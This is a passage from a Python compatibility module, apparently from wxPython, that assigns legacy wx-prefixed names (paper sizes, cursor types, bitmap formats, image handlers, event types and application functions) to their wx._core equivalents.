wx._core.PAPER_P16K_ROTATED\nwxPAPER_P32K_ROTATED = wx._core.PAPER_P32K_ROTATED\nwxPAPER_P32KBIG_ROTATED = wx._core.PAPER_P32KBIG_ROTATED\nwxPAPER_PENV_1_ROTATED = wx._core.PAPER_PENV_1_ROTATED\nwxPAPER_PENV_2_ROTATED = wx._core.PAPER_PENV_2_ROTATED\nwxPAPER_PENV_3_ROTATED = wx._core.PAPER_PENV_3_ROTATED\nwxPAPER_PENV_4_ROTATED = wx._core.PAPER_PENV_4_ROTATED\nwxPAPER_PENV_5_ROTATED = wx._core.PAPER_PENV_5_ROTATED\nwxPAPER_PENV_6_ROTATED = wx._core.PAPER_PENV_6_ROTATED\nwxPAPER_PENV_7_ROTATED = wx._core.PAPER_PENV_7_ROTATED\nwxPAPER_PENV_8_ROTATED = wx._core.PAPER_PENV_8_ROTATED\nwxPAPER_PENV_9_ROTATED = wx._core.PAPER_PENV_9_ROTATED\nwxPAPER_PENV_10_ROTATED = wx._core.PAPER_PENV_10_ROTATED\nwxDUPLEX_SIMPLEX = wx._core.DUPLEX_SIMPLEX\nwxDUPLEX_HORIZONTAL = wx._core.DUPLEX_HORIZONTAL\nwxDUPLEX_VERTICAL = wx._core.DUPLEX_VERTICAL\nwxITEM_SEPARATOR = wx._core.ITEM_SEPARATOR\nwxITEM_NORMAL = wx._core.ITEM_NORMAL\nwxITEM_CHECK = wx._core.ITEM_CHECK\nwxITEM_RADIO = wx._core.ITEM_RADIO\nwxITEM_MAX = wx._core.ITEM_MAX\nwxHT_NOWHERE = wx._core.HT_NOWHERE\nwxHT_SCROLLBAR_FIRST = wx._core.HT_SCROLLBAR_FIRST\nwxHT_SCROLLBAR_ARROW_LINE_1 = wx._core.HT_SCROLLBAR_ARROW_LINE_1\nwxHT_SCROLLBAR_ARROW_LINE_2 = wx._core.HT_SCROLLBAR_ARROW_LINE_2\nwxHT_SCROLLBAR_ARROW_PAGE_1 = wx._core.HT_SCROLLBAR_ARROW_PAGE_1\nwxHT_SCROLLBAR_ARROW_PAGE_2 = wx._core.HT_SCROLLBAR_ARROW_PAGE_2\nwxHT_SCROLLBAR_THUMB = wx._core.HT_SCROLLBAR_THUMB\nwxHT_SCROLLBAR_BAR_1 = wx._core.HT_SCROLLBAR_BAR_1\nwxHT_SCROLLBAR_BAR_2 = wx._core.HT_SCROLLBAR_BAR_2\nwxHT_SCROLLBAR_LAST = wx._core.HT_SCROLLBAR_LAST\nwxHT_WINDOW_OUTSIDE = wx._core.HT_WINDOW_OUTSIDE\nwxHT_WINDOW_INSIDE = wx._core.HT_WINDOW_INSIDE\nwxHT_WINDOW_VERT_SCROLLBAR = wx._core.HT_WINDOW_VERT_SCROLLBAR\nwxHT_WINDOW_HORZ_SCROLLBAR = wx._core.HT_WINDOW_HORZ_SCROLLBAR\nwxHT_WINDOW_CORNER = wx._core.HT_WINDOW_CORNER\nwxHT_MAX = wx._core.HT_MAX\nwxMOD_NONE = wx._core.MOD_NONE\nwxMOD_ALT = wx._core.MOD_ALT\nwxMOD_CONTROL = wx._core.MOD_CONTROL\nwxMOD_ALTGR = wx._core.MOD_ALTGR\nwxMOD_SHIFT = wx._core.MOD_SHIFT\nwxMOD_META = wx._core.MOD_META\nwxMOD_WIN = wx._core.MOD_WIN\nwxMOD_CMD = wx._core.MOD_CMD\nwxMOD_ALL = wx._core.MOD_ALL\nwxUPDATE_UI_NONE = wx._core.UPDATE_UI_NONE\nwxUPDATE_UI_RECURSE = wx._core.UPDATE_UI_RECURSE\nwxUPDATE_UI_FROMIDLE = wx._core.UPDATE_UI_FROMIDLE\nwxEmptyString = wx._core.EmptyString\nwxObject = wx._core.Object\nwxBITMAP_TYPE_INVALID = wx._core.BITMAP_TYPE_INVALID\nwxBITMAP_TYPE_BMP = wx._core.BITMAP_TYPE_BMP\nwxBITMAP_TYPE_ICO = wx._core.BITMAP_TYPE_ICO\nwxBITMAP_TYPE_CUR = wx._core.BITMAP_TYPE_CUR\nwxBITMAP_TYPE_XBM = wx._core.BITMAP_TYPE_XBM\nwxBITMAP_TYPE_XBM_DATA = wx._core.BITMAP_TYPE_XBM_DATA\nwxBITMAP_TYPE_XPM = wx._core.BITMAP_TYPE_XPM\nwxBITMAP_TYPE_XPM_DATA = wx._core.BITMAP_TYPE_XPM_DATA\nwxBITMAP_TYPE_TIF = wx._core.BITMAP_TYPE_TIF\nwxBITMAP_TYPE_GIF = wx._core.BITMAP_TYPE_GIF\nwxBITMAP_TYPE_PNG = wx._core.BITMAP_TYPE_PNG\nwxBITMAP_TYPE_JPEG = wx._core.BITMAP_TYPE_JPEG\nwxBITMAP_TYPE_PNM = wx._core.BITMAP_TYPE_PNM\nwxBITMAP_TYPE_PCX = wx._core.BITMAP_TYPE_PCX\nwxBITMAP_TYPE_PICT = wx._core.BITMAP_TYPE_PICT\nwxBITMAP_TYPE_ICON = wx._core.BITMAP_TYPE_ICON\nwxBITMAP_TYPE_ANI = wx._core.BITMAP_TYPE_ANI\nwxBITMAP_TYPE_IFF = wx._core.BITMAP_TYPE_IFF\nwxBITMAP_TYPE_MACCURSOR = wx._core.BITMAP_TYPE_MACCURSOR\nwxBITMAP_TYPE_ANY = wx._core.BITMAP_TYPE_ANY\nwxCURSOR_NONE = wx._core.CURSOR_NONE\nwxCURSOR_ARROW = wx._core.CURSOR_ARROW\nwxCURSOR_RIGHT_ARROW = wx._core.CURSOR_RIGHT_ARROW\nwxCURSOR_BULLSEYE = wx._core.CURSOR_BULLSEYE\nwxCURSOR_CHAR = wx._core.CURSOR_CHAR\nwxCURSOR_CROSS = wx._core.CURSOR_CROSS\nwxCURSOR_HAND = wx._core.CURSOR_HAND\nwxCURSOR_IBEAM = wx._core.CURSOR_IBEAM\nwxCURSOR_LEFT_BUTTON = wx._core.CURSOR_LEFT_BUTTON\nwxCURSOR_MAGNIFIER = wx._core.CURSOR_MAGNIFIER\nwxCURSOR_MIDDLE_BUTTON = wx._core.CURSOR_MIDDLE_BUTTON\nwxCURSOR_NO_ENTRY = wx._core.CURSOR_NO_ENTRY\nwxCURSOR_PAINT_BRUSH = wx._core.CURSOR_PAINT_BRUSH\nwxCURSOR_PENCIL = wx._core.CURSOR_PENCIL\nwxCURSOR_POINT_LEFT = wx._core.CURSOR_POINT_LEFT\nwxCURSOR_POINT_RIGHT = wx._core.CURSOR_POINT_RIGHT\nwxCURSOR_QUESTION_ARROW = wx._core.CURSOR_QUESTION_ARROW\nwxCURSOR_RIGHT_BUTTON = wx._core.CURSOR_RIGHT_BUTTON\nwxCURSOR_SIZENESW = wx._core.CURSOR_SIZENESW\nwxCURSOR_SIZENS = wx._core.CURSOR_SIZENS\nwxCURSOR_SIZENWSE = wx._core.CURSOR_SIZENWSE\nwxCURSOR_SIZEWE = wx._core.CURSOR_SIZEWE\nwxCURSOR_SIZING = wx._core.CURSOR_SIZING\nwxCURSOR_SPRAYCAN = wx._core.CURSOR_SPRAYCAN\nwxCURSOR_WAIT = wx._core.CURSOR_WAIT\nwxCURSOR_WATCH = wx._core.CURSOR_WATCH\nwxCURSOR_BLANK = wx._core.CURSOR_BLANK\nwxCURSOR_DEFAULT = wx._core.CURSOR_DEFAULT\nwxCURSOR_COPY_ARROW = wx._core.CURSOR_COPY_ARROW\nwxCURSOR_ARROWWAIT = wx._core.CURSOR_ARROWWAIT\nwxCURSOR_MAX = wx._core.CURSOR_MAX\nwxSize = wx._core.Size\nwxRealPoint = wx._core.RealPoint\nwxPoint = wx._core.Point\nwxRect = wx._core.Rect\nwxRectPP = wx._core.RectPP\nwxRectPS = wx._core.RectPS\nwxRectS = wx._core.RectS\nwxIntersectRect = wx._core.IntersectRect\nwxPoint2D = wx._core.Point2D\nwxPoint2DCopy = wx._core.Point2DCopy\nwxPoint2DFromPoint = wx._core.Point2DFromPoint\nwxDefaultPosition = wx._core.DefaultPosition\nwxDefaultSize = wx._core.DefaultSize\nwxFromStart = wx._core.FromStart\nwxFromCurrent = wx._core.FromCurrent\nwxFromEnd = wx._core.FromEnd\nwxInputStream = wx._core.InputStream\nwxInputStream = wx._core.InputStream\nwxOutputStream = wx._core.OutputStream\nwxFSFile = wx._core.FSFile\nwxCPPFileSystemHandler = wx._core.CPPFileSystemHandler\nwxFileSystemHandler = wx._core.FileSystemHandler\nwxFileSystemHandler = wx._core.FileSystemHandler\nwxFileSystem = wx._core.FileSystem\nwxFileSystem_AddHandler = wx._core.FileSystem_AddHandler\nwxFileSystem_CleanUpHandlers = wx._core.FileSystem_CleanUpHandlers\nwxFileSystem_FileNameToURL = wx._core.FileSystem_FileNameToURL\nwxFileSystem_URLToFileName = wx._core.FileSystem_URLToFileName\nwxInternetFSHandler = wx._core.InternetFSHandler\nwxZipFSHandler = wx._core.ZipFSHandler\n__wxMemoryFSHandler_AddFile_wxImage = wx._core.__wxMemoryFSHandler_AddFile_wxImage\n__wxMemoryFSHandler_AddFile_wxBitmap = wx._core.__wxMemoryFSHandler_AddFile_wxBitmap\n__wxMemoryFSHandler_AddFile_Data = wx._core.__wxMemoryFSHandler_AddFile_Data\nwxMemoryFSHandler = wx._core.MemoryFSHandler\nwxMemoryFSHandler_RemoveFile = wx._core.MemoryFSHandler_RemoveFile\nwxIMAGE_ALPHA_TRANSPARENT = wx._core.IMAGE_ALPHA_TRANSPARENT\nwxIMAGE_ALPHA_THRESHOLD = wx._core.IMAGE_ALPHA_THRESHOLD\nwxIMAGE_ALPHA_OPAQUE = wx._core.IMAGE_ALPHA_OPAQUE\nwxImageHandler = wx._core.ImageHandler\nwxPyImageHandler = wx._core.PyImageHandler\nwxImageHistogram = wx._core.ImageHistogram\nwxImageHistogram_MakeKey = wx._core.ImageHistogram_MakeKey\nwxImage_RGBValue = wx._core.Image_RGBValue\nwxImage_HSVValue = wx._core.Image_HSVValue\nwxImage = wx._core.Image\nwxImageFromMime = wx._core.ImageFromMime\nwxImageFromStream = wx._core.ImageFromStream\nwxImageFromStreamMime = wx._core.ImageFromStreamMime\nwxEmptyImage = wx._core.EmptyImage\nwxImageFromBitmap = wx._core.ImageFromBitmap\nwxImageFromData = wx._core.ImageFromData\nwxImageFromDataWithAlpha = wx._core.ImageFromDataWithAlpha\nwxImage_CanRead = wx._core.Image_CanRead\nwxImage_GetImageCount = wx._core.Image_GetImageCount\nwxImage_CanReadStream = wx._core.Image_CanReadStream\nwxImage_AddHandler = wx._core.Image_AddHandler\nwxImage_InsertHandler = wx._core.Image_InsertHandler\nwxImage_RemoveHandler = wx._core.Image_RemoveHandler\nwxImage_GetHandlers = wx._core.Image_GetHandlers\nwxImage_GetImageExtWildcard = wx._core.Image_GetImageExtWildcard\nwxImage_RGBtoHSV = wx._core.Image_RGBtoHSV\nwxImage_HSVtoRGB = wx._core.Image_HSVtoRGB\nwxNullImage = wx._core.NullImage\nwxIMAGE_OPTION_FILENAME = wx._core.IMAGE_OPTION_FILENAME\nwxIMAGE_OPTION_BMP_FORMAT = wx._core.IMAGE_OPTION_BMP_FORMAT\nwxIMAGE_OPTION_CUR_HOTSPOT_X = wx._core.IMAGE_OPTION_CUR_HOTSPOT_X\nwxIMAGE_OPTION_CUR_HOTSPOT_Y = wx._core.IMAGE_OPTION_CUR_HOTSPOT_Y\nwxIMAGE_OPTION_RESOLUTION = wx._core.IMAGE_OPTION_RESOLUTION\nwxIMAGE_OPTION_RESOLUTIONX = wx._core.IMAGE_OPTION_RESOLUTIONX\nwxIMAGE_OPTION_RESOLUTIONY = wx._core.IMAGE_OPTION_RESOLUTIONY\nwxIMAGE_OPTION_RESOLUTIONUNIT = wx._core.IMAGE_OPTION_RESOLUTIONUNIT\nwxIMAGE_OPTION_QUALITY = wx._core.IMAGE_OPTION_QUALITY\nwxIMAGE_RESOLUTION_INCHES = wx._core.IMAGE_RESOLUTION_INCHES\nwxIMAGE_RESOLUTION_CM = wx._core.IMAGE_RESOLUTION_CM\nwxIMAGE_OPTION_BITSPERSAMPLE = wx._core.IMAGE_OPTION_BITSPERSAMPLE\nwxIMAGE_OPTION_SAMPLESPERPIXEL = wx._core.IMAGE_OPTION_SAMPLESPERPIXEL\nwxIMAGE_OPTION_COMPRESSION = wx._core.IMAGE_OPTION_COMPRESSION\nwxIMAGE_OPTION_IMAGEDESCRIPTOR = wx._core.IMAGE_OPTION_IMAGEDESCRIPTOR\nwxIMAGE_OPTION_PNG_FORMAT = wx._core.IMAGE_OPTION_PNG_FORMAT\nwxIMAGE_OPTION_PNG_BITDEPTH = wx._core.IMAGE_OPTION_PNG_BITDEPTH\nwxPNG_TYPE_COLOUR = wx._core.PNG_TYPE_COLOUR\nwxPNG_TYPE_GREY = wx._core.PNG_TYPE_GREY\nwxPNG_TYPE_GREY_RED = wx._core.PNG_TYPE_GREY_RED\nwxBMP_24BPP = wx._core.BMP_24BPP\nwxBMP_8BPP = wx._core.BMP_8BPP\nwxBMP_8BPP_GREY = wx._core.BMP_8BPP_GREY\nwxBMP_8BPP_GRAY = wx._core.BMP_8BPP_GRAY\nwxBMP_8BPP_RED = wx._core.BMP_8BPP_RED\nwxBMP_8BPP_PALETTE = wx._core.BMP_8BPP_PALETTE\nwxBMP_4BPP = wx._core.BMP_4BPP\nwxBMP_1BPP = wx._core.BMP_1BPP\nwxBMP_1BPP_BW = wx._core.BMP_1BPP_BW\nwxBMPHandler = wx._core.BMPHandler\nwxICOHandler = wx._core.ICOHandler\nwxCURHandler = wx._core.CURHandler\nwxANIHandler = wx._core.ANIHandler\nwxPNGHandler = wx._core.PNGHandler\nwxGIFHandler = wx._core.GIFHandler\nwxPCXHandler = wx._core.PCXHandler\nwxJPEGHandler = wx._core.JPEGHandler\nwxPNMHandler = wx._core.PNMHandler\nwxXPMHandler = wx._core.XPMHandler\nwxTIFFHandler = wx._core.TIFFHandler\nwxQUANTIZE_INCLUDE_WINDOWS_COLOURS = wx._core.QUANTIZE_INCLUDE_WINDOWS_COLOURS\nwxQUANTIZE_FILL_DESTINATION_IMAGE = wx._core.QUANTIZE_FILL_DESTINATION_IMAGE\nwxQuantize = wx._core.Quantize\nwxQuantize_Quantize = wx._core.Quantize_Quantize\nwxEvtHandler = wx._core.EvtHandler\nwxEVENT_PROPAGATE_NONE = wx._core.EVENT_PROPAGATE_NONE\nwxEVENT_PROPAGATE_MAX = wx._core.EVENT_PROPAGATE_MAX\nwxNewEventType = wx._core.NewEventType\nwxEVT_NULL = wx._core.wxEVT_NULL\nwxEVT_FIRST = wx._core.wxEVT_FIRST\nwxEVT_USER_FIRST = wx._core.wxEVT_USER_FIRST\nwxEVT_COMMAND_BUTTON_CLICKED = wx._core.wxEVT_COMMAND_BUTTON_CLICKED\nwxEVT_COMMAND_CHECKBOX_CLICKED = wx._core.wxEVT_COMMAND_CHECKBOX_CLICKED\nwxEVT_COMMAND_CHOICE_SELECTED = wx._core.wxEVT_COMMAND_CHOICE_SELECTED\nwxEVT_COMMAND_LISTBOX_SELECTED = wx._core.wxEVT_COMMAND_LISTBOX_SELECTED\nwxEVT_COMMAND_LISTBOX_DOUBLECLICKED = wx._core.wxEVT_COMMAND_LISTBOX_DOUBLECLICKED\nwxEVT_COMMAND_CHECKLISTBOX_TOGGLED = wx._core.wxEVT_COMMAND_CHECKLISTBOX_TOGGLED\nwxEVT_COMMAND_MENU_SELECTED = wx._core.wxEVT_COMMAND_MENU_SELECTED\nwxEVT_COMMAND_TOOL_CLICKED = wx._core.wxEVT_COMMAND_TOOL_CLICKED\nwxEVT_COMMAND_SLIDER_UPDATED = wx._core.wxEVT_COMMAND_SLIDER_UPDATED\nwxEVT_COMMAND_RADIOBOX_SELECTED = wx._core.wxEVT_COMMAND_RADIOBOX_SELECTED\nwxEVT_COMMAND_RADIOBUTTON_SELECTED = wx._core.wxEVT_COMMAND_RADIOBUTTON_SELECTED\nwxEVT_COMMAND_SCROLLBAR_UPDATED = wx._core.wxEVT_COMMAND_SCROLLBAR_UPDATED\nwxEVT_COMMAND_VLBOX_SELECTED = wx._core.wxEVT_COMMAND_VLBOX_SELECTED\nwxEVT_COMMAND_COMBOBOX_SELECTED = wx._core.wxEVT_COMMAND_COMBOBOX_SELECTED\nwxEVT_COMMAND_TOOL_RCLICKED = wx._core.wxEVT_COMMAND_TOOL_RCLICKED\nwxEVT_COMMAND_TOOL_ENTER = wx._core.wxEVT_COMMAND_TOOL_ENTER\nwxEVT_LEFT_DOWN = wx._core.wxEVT_LEFT_DOWN\nwxEVT_LEFT_UP = wx._core.wxEVT_LEFT_UP\nwxEVT_MIDDLE_DOWN = wx._core.wxEVT_MIDDLE_DOWN\nwxEVT_MIDDLE_UP = wx._core.wxEVT_MIDDLE_UP\nwxEVT_RIGHT_DOWN = wx._core.wxEVT_RIGHT_DOWN\nwxEVT_RIGHT_UP = wx._core.wxEVT_RIGHT_UP\nwxEVT_MOTION = wx._core.wxEVT_MOTION\nwxEVT_ENTER_WINDOW = wx._core.wxEVT_ENTER_WINDOW\nwxEVT_LEAVE_WINDOW = wx._core.wxEVT_LEAVE_WINDOW\nwxEVT_LEFT_DCLICK = wx._core.wxEVT_LEFT_DCLICK\nwxEVT_MIDDLE_DCLICK = wx._core.wxEVT_MIDDLE_DCLICK\nwxEVT_RIGHT_DCLICK = wx._core.wxEVT_RIGHT_DCLICK\nwxEVT_SET_FOCUS = wx._core.wxEVT_SET_FOCUS\nwxEVT_KILL_FOCUS = wx._core.wxEVT_KILL_FOCUS\nwxEVT_CHILD_FOCUS = wx._core.wxEVT_CHILD_FOCUS\nwxEVT_MOUSEWHEEL = wx._core.wxEVT_MOUSEWHEEL\nwxEVT_NC_LEFT_DOWN = wx._core.wxEVT_NC_LEFT_DOWN\nwxEVT_NC_LEFT_UP = wx._core.wxEVT_NC_LEFT_UP\nwxEVT_NC_MIDDLE_DOWN = wx._core.wxEVT_NC_MIDDLE_DOWN\nwxEVT_NC_MIDDLE_UP = wx._core.wxEVT_NC_MIDDLE_UP\nwxEVT_NC_RIGHT_DOWN = wx._core.wxEVT_NC_RIGHT_DOWN\nwxEVT_NC_RIGHT_UP = wx._core.wxEVT_NC_RIGHT_UP\nwxEVT_NC_MOTION = wx._core.wxEVT_NC_MOTION\nwxEVT_NC_ENTER_WINDOW = wx._core.wxEVT_NC_ENTER_WINDOW\nwxEVT_NC_LEAVE_WINDOW = wx._core.wxEVT_NC_LEAVE_WINDOW\nwxEVT_NC_LEFT_DCLICK = wx._core.wxEVT_NC_LEFT_DCLICK\nwxEVT_NC_MIDDLE_DCLICK = wx._core.wxEVT_NC_MIDDLE_DCLICK\nwxEVT_NC_RIGHT_DCLICK = wx._core.wxEVT_NC_RIGHT_DCLICK\nwxEVT_CHAR = wx._core.wxEVT_CHAR\nwxEVT_CHAR_HOOK = wx._core.wxEVT_CHAR_HOOK\nwxEVT_NAVIGATION_KEY = wx._core.wxEVT_NAVIGATION_KEY\nwxEVT_KEY_DOWN = wx._core.wxEVT_KEY_DOWN\nwxEVT_KEY_UP = wx._core.wxEVT_KEY_UP\nwxEVT_HOTKEY = wx._core.wxEVT_HOTKEY\nwxEVT_SET_CURSOR = wx._core.wxEVT_SET_CURSOR\nwxEVT_SCROLL_TOP = wx._core.wxEVT_SCROLL_TOP\nwxEVT_SCROLL_BOTTOM = wx._core.wxEVT_SCROLL_BOTTOM\nwxEVT_SCROLL_LINEUP = wx._core.wxEVT_SCROLL_LINEUP\nwxEVT_SCROLL_LINEDOWN = wx._core.wxEVT_SCROLL_LINEDOWN\nwxEVT_SCROLL_PAGEUP = wx._core.wxEVT_SCROLL_PAGEUP\nwxEVT_SCROLL_PAGEDOWN = wx._core.wxEVT_SCROLL_PAGEDOWN\nwxEVT_SCROLL_THUMBTRACK = wx._core.wxEVT_SCROLL_THUMBTRACK\nwxEVT_SCROLL_THUMBRELEASE = wx._core.wxEVT_SCROLL_THUMBRELEASE\nwxEVT_SCROLL_CHANGED = wx._core.wxEVT_SCROLL_CHANGED\nwxEVT_SCROLLWIN_TOP = wx._core.wxEVT_SCROLLWIN_TOP\nwxEVT_SCROLLWIN_BOTTOM = wx._core.wxEVT_SCROLLWIN_BOTTOM\nwxEVT_SCROLLWIN_LINEUP = wx._core.wxEVT_SCROLLWIN_LINEUP\nwxEVT_SCROLLWIN_LINEDOWN = wx._core.wxEVT_SCROLLWIN_LINEDOWN\nwxEVT_SCROLLWIN_PAGEUP = wx._core.wxEVT_SCROLLWIN_PAGEUP\nwxEVT_SCROLLWIN_PAGEDOWN = wx._core.wxEVT_SCROLLWIN_PAGEDOWN\nwxEVT_SCROLLWIN_THUMBTRACK = wx._core.wxEVT_SCROLLWIN_THUMBTRACK\nwxEVT_SCROLLWIN_THUMBRELEASE = wx._core.wxEVT_SCROLLWIN_THUMBRELEASE\nwxEVT_SIZE = wx._core.wxEVT_SIZE\nwxEVT_MOVE = wx._core.wxEVT_MOVE\nwxEVT_CLOSE_WINDOW = wx._core.wxEVT_CLOSE_WINDOW\nwxEVT_END_SESSION = wx._core.wxEVT_END_SESSION\nwxEVT_QUERY_END_SESSION = wx._core.wxEVT_QUERY_END_SESSION\nwxEVT_ACTIVATE_APP = wx._core.wxEVT_ACTIVATE_APP\n#wxEVT_POWER = wx._core.wxEVT_POWER\nwxEVT_ACTIVATE = wx._core.wxEVT_ACTIVATE\nwxEVT_CREATE = wx._core.wxEVT_CREATE\nwxEVT_DESTROY = wx._core.wxEVT_DESTROY\nwxEVT_SHOW = wx._core.wxEVT_SHOW\nwxEVT_ICONIZE = wx._core.wxEVT_ICONIZE\nwxEVT_MAXIMIZE = wx._core.wxEVT_MAXIMIZE\nwxEVT_MOUSE_CAPTURE_CHANGED = wx._core.wxEVT_MOUSE_CAPTURE_CHANGED\nwxEVT_PAINT = wx._core.wxEVT_PAINT\nwxEVT_ERASE_BACKGROUND = wx._core.wxEVT_ERASE_BACKGROUND\nwxEVT_NC_PAINT = wx._core.wxEVT_NC_PAINT\nwxEVT_PAINT_ICON = wx._core.wxEVT_PAINT_ICON\nwxEVT_MENU_OPEN = wx._core.wxEVT_MENU_OPEN\nwxEVT_MENU_CLOSE = wx._core.wxEVT_MENU_CLOSE\nwxEVT_MENU_HIGHLIGHT = wx._core.wxEVT_MENU_HIGHLIGHT\nwxEVT_CONTEXT_MENU = wx._core.wxEVT_CONTEXT_MENU\nwxEVT_SYS_COLOUR_CHANGED = wx._core.wxEVT_SYS_COLOUR_CHANGED\nwxEVT_DISPLAY_CHANGED = wx._core.wxEVT_DISPLAY_CHANGED\nwxEVT_SETTING_CHANGED = wx._core.wxEVT_SETTING_CHANGED\nwxEVT_QUERY_NEW_PALETTE = wx._core.wxEVT_QUERY_NEW_PALETTE\nwxEVT_PALETTE_CHANGED = wx._core.wxEVT_PALETTE_CHANGED\nwxEVT_DROP_FILES = wx._core.wxEVT_DROP_FILES\nwxEVT_DRAW_ITEM = wx._core.wxEVT_DRAW_ITEM\nwxEVT_MEASURE_ITEM = wx._core.wxEVT_MEASURE_ITEM\nwxEVT_COMPARE_ITEM = wx._core.wxEVT_COMPARE_ITEM\nwxEVT_INIT_DIALOG = wx._core.wxEVT_INIT_DIALOG\nwxEVT_IDLE = wx._core.wxEVT_IDLE\nwxEVT_UPDATE_UI = wx._core.wxEVT_UPDATE_UI\nwxEVT_SIZING = wx._core.wxEVT_SIZING\nwxEVT_MOVING = wx._core.wxEVT_MOVING\nwxEVT_HIBERNATE = wx._core.wxEVT_HIBERNATE\nwxEVT_COMMAND_LEFT_CLICK = wx._core.wxEVT_COMMAND_LEFT_CLICK\nwxEVT_COMMAND_LEFT_DCLICK = wx._core.wxEVT_COMMAND_LEFT_DCLICK\nwxEVT_COMMAND_RIGHT_CLICK = wx._core.wxEVT_COMMAND_RIGHT_CLICK\nwxEVT_COMMAND_RIGHT_DCLICK = wx._core.wxEVT_COMMAND_RIGHT_DCLICK\nwxEVT_COMMAND_SET_FOCUS = wx._core.wxEVT_COMMAND_SET_FOCUS\nwxEVT_COMMAND_KILL_FOCUS = wx._core.wxEVT_COMMAND_KILL_FOCUS\nwxEVT_COMMAND_ENTER = wx._core.wxEVT_COMMAND_ENTER\nwxEvent = wx._core.Event\nwxPropagationDisabler = wx._core.PropagationDisabler\nwxPropagateOnce = wx._core.PropagateOnce\nwxCommandEvent = wx._core.CommandEvent\nwxNotifyEvent = wx._core.NotifyEvent\nwxScrollEvent = wx._core.ScrollEvent\nwxScrollWinEvent = wx._core.ScrollWinEvent\nwxMOUSE_BTN_ANY = wx._core.MOUSE_BTN_ANY\nwxMOUSE_BTN_NONE = wx._core.MOUSE_BTN_NONE\nwxMOUSE_BTN_LEFT = wx._core.MOUSE_BTN_LEFT\nwxMOUSE_BTN_MIDDLE = wx._core.MOUSE_BTN_MIDDLE\nwxMOUSE_BTN_RIGHT = wx._core.MOUSE_BTN_RIGHT\nwxMouseEvent = wx._core.MouseEvent\nwxSetCursorEvent = wx._core.SetCursorEvent\nwxKeyEvent = wx._core.KeyEvent\nwxSizeEvent = wx._core.SizeEvent\nwxMoveEvent = wx._core.MoveEvent\nwxPaintEvent = wx._core.PaintEvent\nwxNcPaintEvent = wx._core.NcPaintEvent\nwxEraseEvent = wx._core.EraseEvent\nwxFocusEvent = wx._core.FocusEvent\nwxChildFocusEvent = wx._core.ChildFocusEvent\nwxActivateEvent = wx._core.ActivateEvent\nwxInitDialogEvent = wx._core.InitDialogEvent\nwxMenuEvent = wx._core.MenuEvent\nwxCloseEvent = wx._core.CloseEvent\nwxShowEvent = wx._core.ShowEvent\nwxIconizeEvent = wx._core.IconizeEvent\nwxMaximizeEvent = wx._core.MaximizeEvent\nwxDropFilesEvent = wx._core.DropFilesEvent\nwxUPDATE_UI_PROCESS_ALL = wx._core.UPDATE_UI_PROCESS_ALL\nwxUPDATE_UI_PROCESS_SPECIFIED = wx._core.UPDATE_UI_PROCESS_SPECIFIED\nwxUpdateUIEvent = wx._core.UpdateUIEvent\nwxUpdateUIEvent_SetUpdateInterval = wx._core.UpdateUIEvent_SetUpdateInterval\nwxUpdateUIEvent_GetUpdateInterval = wx._core.UpdateUIEvent_GetUpdateInterval\nwxUpdateUIEvent_CanUpdate = wx._core.UpdateUIEvent_CanUpdate\nwxUpdateUIEvent_ResetUpdateTime = wx._core.UpdateUIEvent_ResetUpdateTime\nwxUpdateUIEvent_SetMode = wx._core.UpdateUIEvent_SetMode\nwxUpdateUIEvent_GetMode = wx._core.UpdateUIEvent_GetMode\nwxSysColourChangedEvent = wx._core.SysColourChangedEvent\nwxMouseCaptureChangedEvent = wx._core.MouseCaptureChangedEvent\nwxDisplayChangedEvent = wx._core.DisplayChangedEvent\nwxPaletteChangedEvent = wx._core.PaletteChangedEvent\nwxQueryNewPaletteEvent = wx._core.QueryNewPaletteEvent\nwxNavigationKeyEvent = wx._core.NavigationKeyEvent\nwxWindowCreateEvent = wx._core.WindowCreateEvent\nwxWindowDestroyEvent = wx._core.WindowDestroyEvent\nwxContextMenuEvent = wx._core.ContextMenuEvent\nwxIDLE_PROCESS_ALL = wx._core.IDLE_PROCESS_ALL\nwxIDLE_PROCESS_SPECIFIED = wx._core.IDLE_PROCESS_SPECIFIED\nwxIdleEvent = wx._core.IdleEvent\nwxIdleEvent_SetMode = wx._core.IdleEvent_SetMode\nwxIdleEvent_GetMode = wx._core.IdleEvent_GetMode\nwxIdleEvent_CanSend = wx._core.IdleEvent_CanSend\nwxPyEvent = wx._core.PyEvent\nwxPyCommandEvent = wx._core.PyCommandEvent\nwxDateEvent = wx._core.DateEvent\nwxEVT_DATE_CHANGED = wx._core.wxEVT_DATE_CHANGED\nwxPYAPP_ASSERT_SUPPRESS = wx._core.PYAPP_ASSERT_SUPPRESS\nwxPYAPP_ASSERT_EXCEPTION = wx._core.PYAPP_ASSERT_EXCEPTION\nwxPYAPP_ASSERT_DIALOG = wx._core.PYAPP_ASSERT_DIALOG\nwxPYAPP_ASSERT_LOG = wx._core.PYAPP_ASSERT_LOG\nwxPRINT_WINDOWS = wx._core.PRINT_WINDOWS\nwxPRINT_POSTSCRIPT = wx._core.PRINT_POSTSCRIPT\nwxPyApp = wx._core.PyApp\nwxPyApp_IsMainLoopRunning = wx._core.PyApp_IsMainLoopRunning\nwxPyApp_GetMacSupportPCMenuShortcuts = wx._core.PyApp_GetMacSupportPCMenuShortcuts\nwxPyApp_GetMacAboutMenuItemId = wx._core.PyApp_GetMacAboutMenuItemId\nwxPyApp_GetMacPreferencesMenuItemId = wx._core.PyApp_GetMacPreferencesMenuItemId\nwxPyApp_GetMacExitMenuItemId = wx._core.PyApp_GetMacExitMenuItemId\nwxPyApp_GetMacHelpMenuTitleName = wx._core.PyApp_GetMacHelpMenuTitleName\nwxPyApp_SetMacSupportPCMenuShortcuts = wx._core.PyApp_SetMacSupportPCMenuShortcuts\nwxPyApp_SetMacAboutMenuItemId = wx._core.PyApp_SetMacAboutMenuItemId\nwxPyApp_SetMacPreferencesMenuItemId = wx._core.PyApp_SetMacPreferencesMenuItemId\nwxPyApp_SetMacExitMenuItemId = wx._core.PyApp_SetMacExitMenuItemId\nwxPyApp_SetMacHelpMenuTitleName = wx._core.PyApp_SetMacHelpMenuTitleName\nwxPyApp_GetComCtl32Version = wx._core.PyApp_GetComCtl32Version\nwxExit = wx._core.Exit\nwxYield = wx._core.Yield\nwxYieldIfNeeded = wx._core.YieldIfNeeded\nwxSafeYield = wx._core.SafeYield\nwxWakeUpIdle = wx._core.WakeUpIdle\nwxPostEvent = wx._core.PostEvent\nwxApp_CleanUp = wx._core.App_CleanUp\nwxGetApp = wx._core.GetApp\nwxSetDefaultPyEncoding = wx._core.SetDefaultPyEncoding\nwxGetDefaultPyEncoding = wx._core.GetDefaultPyEncoding\nwxEventLoop = wx._core.EventLoop\nwxEventLoop_GetActive = 